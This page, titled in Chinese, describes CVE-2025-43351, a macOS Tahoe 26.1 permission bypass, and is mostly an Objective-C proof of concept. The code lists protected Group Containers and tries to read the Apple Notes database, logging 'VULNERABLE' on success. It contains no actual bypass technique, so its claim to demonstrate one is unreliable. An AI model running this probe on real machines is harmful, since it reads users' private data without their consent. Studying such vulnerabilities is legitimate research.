CVE-2025-43351: macOS Tahoe 26.1 权限绕过导致数据泄露漏洞

// CVE-2025-43351 PoC - macOS Tahoe 26.1 Permission Bypass // This PoC demonstrates the permission bypass vulnerability in macOS Tahoe 26.1 // Author: Security Researcher // Note: This is for educational and authorized testing purposes only #include <Foundation/Foundation.h> #include <Security/Security.h> // Target protected data paths in macOS Tahoe #define PROTECTED_USER_DATA_PATH @"~/Library/Group Containers/" #define PROTECTED_APP_DATA_PATH @"~/Library/Application Support/" void exploitPermissionBypass() { NSLog(@"[*] CVE-2025-43351 PoC - Permission Bypass Test"); NSLog(@"[*] Target: macOS Tahoe 26.1"); // Step 1: Enumerate protected directories NSFileManager *fileManager = [NSFileManager defaultManager]; NSString *homeDir = NSHomeDirectory(); NSString *targetPath = [homeDir stringByAppendingPathComponent:@"Library/Group Containers/"]; NSError *error = nil; NSArray *contents = [fileManager contentsOfDirectoryAtPath:targetPath error:&error]; if (error) { NSLog(@"[!] Normal access denied: %@", error.localizedDescription); } else { NSLog(@"[+] Successfully enumerated protected containers!"); for (NSString *item in contents) { NSLog(@" Found: %@", item); } NSLog(@"[!] VULNERABLE: Permission bypass successful - protected data accessible"); } // Step 2: Attempt to read sensitive configuration files NSString *configPath = [targetPath stringByAppendingPathComponent:@"group.com.apple.notes"]; NSString *configFile = [configPath stringByAppendingPathComponent:@"NoteStore.sqlite"]; if ([fileManager fileExistsAtPath:configFile]) { NSData *data = [fileManager contentsAtPath:configFile]; if (data) { NSLog(@"[!] VULNERABLE: Extracted %lu bytes from protected data", (unsigned long)data.length); } } } int main(int argc, const char * argv[]) { @autoreleasepool { exploitPermissionBypass(); } return 0; }